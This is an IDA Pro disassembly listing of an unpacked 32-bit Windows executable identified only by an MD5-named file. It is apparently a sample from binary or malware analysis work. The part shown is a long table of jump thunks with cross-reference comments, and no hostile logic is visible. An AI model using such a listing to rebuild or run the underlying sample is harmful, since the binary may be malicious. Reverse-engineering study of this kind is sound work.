;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F2697786DA101F216FE99156F53028D6

; File Name   :	u:\work\f2697786da101f216fe99156f53028d6_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_430920
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43F09Co
		jmp	loc_412D80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421BF0+29p
		jmp	sub_422150
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_432540
; ---------------------------------------------------------------------------
		jmp	loc_420EA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004119B3p
		jmp	sub_4119E0
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B29Dp
					; ___:0040B2AAp ...
		jmp	sub_403C50
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FB90+34p
		jmp	sub_40B0E0
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404CC0+616p
					; sub_404CC0+6D5p ...
		jmp	sub_40A110
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42B3F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_4135E0+3Bp
					; ___:00414C00p
		jmp	sub_4156D0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_430B30+6Ep
					; sub_430B30+8Ap ...
		jmp	sub_4342D0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:00430212p
					; sub_430B30+3Fp ...
		jmp	sub_434150
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423A40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D210
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B0E0+3Ap
					; sub_40B150+1Ap
		jmp	sub_433C70
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E760+37Bp
		jmp	sub_421D30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C1A0+8p
		jmp	sub_40C360
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_432BF0+5Ap
					; sub_434A00+50p
		jmp	sub_432BB0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43F07Co
		jmp	sub_41C710
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416FAAp
		jmp	sub_41FCD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40C040+32p
		jmp	sub_40C200
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416FBAp
		jmp	sub_418390
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415920+6Ap
					; sub_416380+32p
		jmp	sub_4162C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E760+161p
					; sub_4224E0+3p
		jmp	sub_421B50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ADE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421D30+3p
					; ___:004220FFp ...
		jmp	sub_422270
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C4E0+43p
		jmp	sub_40CBB0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_4292E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_4075C0+Ap
		jmp	sub_407660
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4246D0+23p
					; sub_424870+6p ...
		jmp	sub_4245E0
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_431EF0+F5p
					; sub_431EF0+14Fp
		jmp	sub_4340E0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4344C0+C8p
		jmp	sub_431C80
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043F174o
		jmp	sub_42B0B0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43F0A0o
		jmp	loc_41E3C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418430+D0p
					; sub_418590+2Dp
		jmp	sub_418B20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_410030+8D9p
					; sub_410030+990p ...
		jmp	sub_411930
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:00430626p
					; ___:00430694p ...
		jmp	sub_4321F0
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421E50+9p
					; sub_422340+18p
		jmp	sub_4224C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40AAD0+58p
					; sub_40AAD0+82p ...
		jmp	sub_40ACC0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422B40+3F1p
					; ___:00423BA6p ...
		jmp	sub_419BE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416110+7p
		jmp	sub_416740
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415600+5Bp
					; sub_415F70+11p ...
		jmp	sub_4161C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_42AF20+58p
		jmp	sub_42AD90
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421970+1Fp
		jmp	sub_421DB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_4220B0+11p
					; ___:004220D7p ...
		jmp	sub_4225D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421B30+3p
					; ___:00421E9Fp ...
		jmp	sub_422010
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_4144D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_428210+3p
		jmp	sub_428240
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415B00+11p
					; ___:00415B27p ...
		jmp	sub_416570
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_434600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421C60+5p
					; sub_421D50+6p ...
		jmp	sub_422250
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416B5Bp
					; ___:0043B25Ej ...
		jmp	sub_417B60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404CC0+6Ap
					; sub_404CC0+1AFp ...
		jmp	sub_412A40
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43F074o
		jmp	sub_4193C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_432D10+6p
					; ___:00432D23p ...
		jmp	sub_430770
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F6C0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43F15Co
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423D9Dp
		jmp	sub_423860
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_433240

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:00415178p
		jmp	sub_415A90
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41BA50+F7p
					; sub_41BA50+10Bp ...
		jmp	sub_409F80
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_4099F0+Ap
		jmp	sub_409AE0
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4134A0+55p
					; sub_4134A0+94p ...
		jmp	sub_415860
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425100+18Cp
					; ___:00425F7Dp
		jmp	sub_4236F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414C8Ep
		jmp	sub_415600
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_4288F0+3p
		jmp	sub_428920
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43F038o
		jmp	loc_4119B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415ED0+11p
					; ___:00415EF7p ...
		jmp	sub_4166F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418C10+23p
					; sub_418E80+11p
		jmp	sub_418F60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418B90+3p
					; sub_418F90+54p ...
		jmp	sub_418DE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_4096E0+6Ap
					; sub_4096E0+103p
		jmp	sub_409980
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_433B30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413E4Dp
		jmp	sub_413C40
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A2E4p
		jmp	sub_41B0E0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4134A0+88p
					; sub_4148A0+BFp ...
		jmp	sub_415A30
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_430770+7p
					; sub_4307E0+19p ...
		jmp	sub_434BA0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DBF0
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:0043239Ap
		jmp	sub_431D40
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_407230+11p
					; sub_4073C0+1Fp
		jmp	sub_407460
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_403720+3B5p
					; sub_403720+3C5p ...
		jmp	sub_403E50
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421D10+3p
		jmp	sub_422290
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C330+Ap
		jmp	sub_40C3F0
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_403720+1Dp
					; sub_407080+1Fp ...
		jmp	sub_403CC0
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413344p
					; ___:0043AC8Cj ...
		jmp	sub_415490
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42C640+3p
		jmp	sub_42C670
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AFE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414C9Dp
		jmp	sub_414D40
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407660+7p
					; sub_409AE0+7p ...
		jmp	sub_407690
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_4135E0+73p
					; ___:00414C3Dp ...
		jmp	sub_4156F0
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E760+58p
		jmp	sub_420630
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413E70+84p
		jmp	sub_4138B0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00433718p
		jmp	sub_431060
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_407510+8p
		jmp	sub_4075F0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404CC0+9Fp
					; sub_404CC0+230p ...
		jmp	sub_40A510
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A870+21p
					; sub_40AAD0+A5p
		jmp	sub_40AAB0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B050

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A510+129p
					; sub_40A8F0+4p ...
		jmp	sub_40A8C0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43F0DCo
		jmp	sub_427940
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004335ADp
		jmp	sub_430D60
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_407340+3p
					; ___:0040740Fp ...
		jmp	sub_4074D0
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D930+346p
					; sub_41D930+410p ...
		jmp	sub_421970
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421BB0+11p
					; sub_4220B0+1Fp
		jmp	sub_4221E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42C7E0+3p
		jmp	sub_42C810
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_4077E0
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C200+5Fp
		jmp	sub_40C3D0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_403530+F6p
					; sub_403530+12Ep ...
		jmp	sub_409D10
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E760+113p
					; sub_41E760+124p
		jmp	sub_421B30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043F060o
		jmp	sub_41F960
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416BFBp
					; ___:0043B1D2j ...
		jmp	sub_4177B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AFA0+Fp
		jmp	sub_431240
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418C10+32p
		jmp	sub_418E80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_434860

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415500+5p
					; sub_415710+6p ...
		jmp	sub_416130
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BD90+29p
					; sub_40BEB0+29p
		jmp	sub_40C040
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E760+3E9p
					; ___:0043C4ABj
		jmp	sub_421BF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4145A0+BFp
		jmp	sub_4152E0
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4165E0+Ap
		jmp	sub_416920
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416C67p
					; ___:0043B173j ...
		jmp	sub_4170B0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418430
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416F1Fp
		jmp	sub_4180D0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414760
; ---------------------------------------------------------------------------
		jmp	loc_430320

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_410030+387p
					; sub_41F030+21Dp ...
		jmp	sub_41B7E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416F5Ap
		jmp	sub_418280
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409570+8p
		jmp	sub_4095C0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_4096E0+A5p
					; sub_412C90+21p
		jmp	sub_4098F0
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404CC0+382p
					; sub_41D930+5AAp
		jmp	sub_41C130
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416E6Fp
		jmp	sub_403720
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418CC0+23p
					; sub_418F90+11p
		jmp	sub_4190E0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424920+Cp
					; sub_424920+3Ep ...
		jmp	sub_424410
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_430960

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404CC0+85Ap
					; sub_404CC0+AD6p ...
		jmp	sub_40A370
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042FE06p
					; ___:0042FE56p ...
		jmp	sub_432780
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E760+367p
					; sub_41E760+3D4p ...
		jmp	sub_421D80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_427D50+107o
		jmp	sub_427FD0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424800+18p
					; sub_424840+Ap ...
		jmp	sub_4247B0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416220+9p
					; sub_4162C0+18p
		jmp	sub_4168D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_432570+32o
		jmp	sub_432D70
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FE50
; ---------------------------------------------------------------------------
		jmp	loc_419CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_42AD90+67p
		jmp	sub_41FFF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:004301E8p
					; sub_4303A0+2p ...
		jmp	sub_431560
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413740+3Fp
					; sub_4145A0+40p ...
		jmp	sub_415230
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404690+19Fp
					; sub_404690+212p ...
		jmp	sub_409FD0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424F70+B5p
					; sub_424F70+F1p
		jmp	sub_424F00
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425100+130p
		jmp	sub_424F70
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416F3Ap
		jmp	sub_418180
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416F0Fp
		jmp	sub_418010
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4316C0+1p
		jmp	sub_431750
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00427201p
		jmp	sub_427740
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418430+71p
					; sub_418430+BBp ...
		jmp	sub_418AF0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A180+7p
		jmp	sub_40A1A0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004329C8p
					; sub_432A20+2Bp
		jmp	sub_432BF0
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_432570+1p
		jmp	sub_4327B0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4208E0+37Bp
		jmp	sub_421CD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414430+5Bp
		jmp	sub_415100
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_415490+29p
					; sub_4155B0+29p
		jmp	sub_416030
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00437232p
					; ___:00437242p ...
		jmp	sub_4370F0
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4134A0+5Fp
					; sub_4134A0+9Ep ...
		jmp	sub_415A60
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B600+62p
					; ___:0040BAC8p ...
		jmp	sub_40BF40
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4313B0
; ---------------------------------------------------------------------------
		jmp	loc_42FF30
; ---------------------------------------------------------------------------


loc_40134D:				; DATA XREF: ___:0043F1A8o
		jmp	loc_42C690
; ---------------------------------------------------------------------------
		jmp	loc_42C5D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416190+8p
		jmp	sub_4167B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4134A0+71p
					; sub_4134A0:loc_41356Cp ...
		jmp	sub_415A10
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418430+AFp
					; sub_4190E0+3p
		jmp	sub_418BB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043F104o
		jmp	sub_427D50
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B600+39p
					; sub_40B600+78p ...
		jmp	sub_40BF70
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_426A90+29p
					; sub_426A90+38p
		jmp	sub_4269A0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A600+1Cp
		jmp	sub_41A640
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043F164o
		jmp	sub_42AF20
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408C9Cp
					; ___:00414551p
		jmp	sub_414300
sub_40137F	endp


; =============== S U B	R O U T	I N E =======================================

